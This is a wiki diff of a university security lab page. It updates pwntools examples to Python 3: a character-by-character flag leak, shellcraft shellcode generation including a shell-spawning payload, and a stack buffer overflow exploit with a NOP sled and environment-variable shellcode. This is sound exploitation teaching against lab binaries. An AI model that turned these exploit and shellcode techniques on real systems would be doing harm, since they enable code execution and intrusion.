Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-05 [2020/11/08 20:40]
dennis.plosceanu [Shellcode generation]
cns:labs:lab-05 [2022/11/07 14:44] (current)
mihai.dumitru2201 [Tasks]
Line 79: Line 79:
 result = io.recvline() result = io.recvline()
  
-print "Got: " + result+print(b"Got: " + result)
  
 io.interactive() io.interactive()
Line 115: Line 115:
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0]+    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0]
     return leaked_char     return leaked_char
  
Line 123: Line 123:
  
 for i in range(-10,​0):​ for i in range(-10,​0):​
-    flag += leak_char(i)+    flag += leak_char(i).decode("​utf-8"​)
  
-print "The flag is: " + flag+print("The flag is: " + flag)
 io.close() io.close()
 </​code>​ </​code>​
Line 153: Line 153:
     # Here you go\n     # Here you go\n
     result = io.recvline()     result = io.recvline()
-    log.info("​Got back raw response: " ​result)+    log.info("​Got back raw response: ​{}".format(result))
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0] +    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0] 
-    log.info("​Parsed char: " ​leaked_char)+    log.info("​Parsed char: {}".format(leaked_char))
     return leaked_char     return leaked_char
 </​code>​ </​code>​
Line 239: Line 239:
     f.write(e.get_data())     f.write(e.get_data())
 </​code>​ </​code>​
 +
 +<note tip>
 +This will result in a binary named ''​test_shell''​ which executes the necessary assembly code to spawn a shell.
 +
 +<​code>​
 +$ chmod u+x test_shell
 +$ ./​test_shell
 +</​code>​
 +
 +</​note>​
  
 ==== Shellcode generation ==== ==== Shellcode generation ====
Line 245: Line 255:
  
 <code asm> <code asm>
-print shellcraft.read(0,​ 0xffffeeb0, 20) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes+print(shellcraft.read(0,​ 0xffffeeb0, 20)) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     push (SYS_read) /* 3 */     push (SYS_read) /* 3 */
Line 260: Line 270:
  
 <code asm> <code asm>
-print shellcraft.arm.read(0,​ 0xffffeeb0, 20)+print(shellcraft.arm.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 4294962864, 20) */     /* call read(0, 4294962864, 20) */
     eor  r0, r0 /* 0 (#0) */     eor  r0, r0 /* 0 (#0) */
Line 269: Line 279:
     svc  0     svc  0
  
-print shellcraft.mips.read(0,​ 0xffffeeb0, 20)+print(shellcraft.mips.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     slti $a0, $zero, 0xFFFF /* $a0 = 0 */     slti $a0, $zero, 0xFFFF /* $a0 = 0 */
Line 279: Line 289:
     syscall 0x40404     syscall 0x40404
 </​code>​ </​code>​
 +
 +These shellcodes can be directly assembled using ''​asm''​ inside your script, and given to the exploited process via the ''​send*''​ functions.
  
 <code asm> <code asm>
Line 288: Line 300:
  </​code>​  </​code>​
  
-These shellcodes can be directly assembled using ''​asm'' ​inside your script, and given to the exploited process via the ''​send*'' ​functions.+<note tip>Most of the time you'​ll ​be working with as specific vulnerable program. To avoid specifing architecture for the ''​asm'' ​function or to ''​shellcraft''​ you can define ​the context at the start of the script which will imply the architecture from the binary header. 
 + 
 +<code python>​ 
 +context.binary = './​vuln_program'​ 
 +   
 +shellcode = asm('''​ 
 +       mov rdi, 0 
 +       mov rax, 60 
 +       ​syscall 
 +'''​
 +print(shellcraft.sh()) 
 + </​code>​ 
 + 
 +</​note>​
  
 ==== GDB integration ==== ==== GDB integration ====
Line 294: Line 319:
 Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful. Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful.
  
-Let's follow an example using the vulnerable binary from [[:cns:​labs:​lab-06#​phase_1recon|lab 06]]:+Let's follow an example using the vulnerable binary from the [[cns:​labs:​lab-04|]] tutorial.
  
 <code python> <code python>
Line 300: Line 325:
 from pwn import * from pwn import *
  
-ret_offset = 68 +ret_offset = 72 
-buf_addr = 0xffffcee8+buf_addr = 0x7fffffffd710
 ret_address = buf_addr+ret_offset+16 ret_address = buf_addr+ret_offset+16
-payload = ''​ 
  
-p = process('vuln')+# This sets several relevant things in the context (such as endianess,​ 
 +# architecture etc.), based on the given binary'​s properties. 
 +# We could also set them manually: 
 +# context.arch = "​amd64"​ 
 +context.binary = "​vuln"​ 
 +p = process("vuln")
  
 +
 +payload = b""​
 # Garbage # Garbage
-payload += ret_offset * 'A'+payload += ret_offset * b"A"
  
 # Overwrite ret_address,​ taking endianness into account # Overwrite ret_address,​ taking endianness into account
-payload += p32(ret_address)+payload += pack(ret_address)
  
 # Add nopsled # Add nopsled
-nops = '​\x90'​*100+nops = asm("​nop"​)*100
  
-# Alternative:​ asm('​nop'​),​ but the above is simpler and faster 
 payload += nops payload += nops
  
Line 368: Line 398:
  
 All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​ All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
- 
  
 ==== 1. Passing shellcode through the environment ​ ==== ==== 1. Passing shellcode through the environment ​ ====
Line 388: Line 417:
 Env var addr 0xfffdd1e7 Env var addr 0xfffdd1e7
 </​code>​ </​code>​
 +
 +<note tip>You can also use pwntools to pass the env var:
 +<code python>
 +from pwn import *
 +p = process(['​./​getenv',​ '​A'​],​ env={'​A':​ shellcode})
 +print(p.recvline())
 +</​code>​
 +
 +This way you can do the whole exploit with a python script:
 +  - run ''​getenv''​ to leak the address
 +  - parse the output of ''​getenv'' ​
 +  - build the payload and send to ''​vuln''​
 +</​note>​
  
 This is the address at which you will return to. This is the address at which you will return to.
Line 420: Line 462:
   * In order to get ''/​bin/​sh''​ onto the stack, your shellcode could look something like this: \\ <code asm>   * In order to get ''/​bin/​sh''​ onto the stack, your shellcode could look something like this: \\ <code asm>
 jmp <​offset>​ ; determine through trial and error jmp <​offset>​ ; determine through trial and error
-'/​bin/​sh'\0+'/​bin/​sh\0'
 ; code continues here ; code continues here
 </​code>​ \\ This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction,​ the string will be interpreted as instructions! </​code>​ \\ This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction,​ the string will be interpreted as instructions!
cns/labs/lab-05.1604860823.txt.gz · Last modified: 2020/11/08 20:40 by dennis.plosceanu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0